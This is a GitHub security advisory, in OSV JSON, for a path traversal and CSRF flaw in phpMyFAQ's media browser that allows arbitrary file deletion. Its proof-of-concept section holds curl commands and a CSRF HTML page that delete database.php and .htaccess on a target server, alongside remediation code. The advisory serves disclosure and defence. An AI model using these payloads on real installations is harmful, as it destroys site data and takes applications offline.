CVE-2026-34728: phpMyFAQ Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-38m8-xrfj-v38x",
  "modified" : "2026-04-06T17:18:35Z",
  "published" : "2026-04-01T22:30:32Z",
  "aliases" : [ "CVE-2026-34728" ],
  "summary" : "phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController",
  "details" : "### Summary\nThe `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`&`, `'`, `\"`, `<`, `>`) and characters with ASCII value < 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php`\n\n**Lines 43-66:**\n```php\n#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]\npublic function index(Request $request): JsonResponse|Response\n{\n    $this->userHasPermission(PermissionType::FAQ_EDIT);\n    // ...\n    $data = json_decode($request->getContent());\n    $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if ($action === 'fileRemove') {\n        $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);\n        $file = PMF_CONTENT_DIR . '/user/images/' . $file;\n\n        if (file_exists($file)) {\n            unlink($file);\n        }\n        // Returns success without checking if deletion was within intended directory\n    }\n}\n```\n\n**Root Causes:**\n1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters.\n2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48.\n3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory.\n4. **HTTP method mismatch:** The route is defined as `methods: ['GET']` but reads the request body via `$request->getContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.\n\n**Comparison with secure implementation in the same codebase:**\n\nThe `ImageController::upload()` method (same directory) properly validates file names:\n```php\nif (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", (string) $file->getClientOriginalName())) {\n    // Rejects files with path traversal sequences\n}\n```\n\nThe `FilesystemStorage::normalizePath()` method also properly validates paths:\n\n```php\nforeach ($segments as $segment) {\n    if ($segment === '..' || $segment === '') {\n        throw new StorageException('Invalid storage path.');\n    }\n}\n```\n\n### PoC\n\n**Direct exploitation (requires authenticated admin session):**\n```bash\n# Delete the database configuration file\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../content/core/config/database.php\"}'\n\n# Delete the .htaccess file to disable Apache security rules\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../.htaccess\"}'\n```\n\n**CSRF exploitation (attacker hosts this HTML page):**\n```html\n<html>\n<body>\n<script>\nfetch('https://target.example.com/admin/api/media-browser', {\n  method: 'GET',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({\n    action: 'fileRemove',\n    name: '../../../content/core/config/database.php'\n  }),\n  credentials: 'include'\n});\n</script>\n</body>\n</html>\n```\n\nWhen an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application.\n\n### Impact\n\n- **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss).\n- **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files.\n- **Data loss:** Arbitrary file deletion on the server filesystem.\n- **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.\n\n\n### Remediation\n\n1. **Add path traversal validation:**\n```php\nif ($action === 'fileRemove') {\n    $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));\n    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);\n    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');\n\n    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {\n        return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);\n    }\n\n    if (file_exists($targetPath)) {\n        unlink($targetPath);\n    }\n}\n```\n\n2. **Add CSRF protection:**\n```php\nif (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {\n    return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);\n}\n```\n\n3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34728"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T22:30:32Z",
    "nvd_published_at" : "2026-04-02T15:16:41Z"
  }
}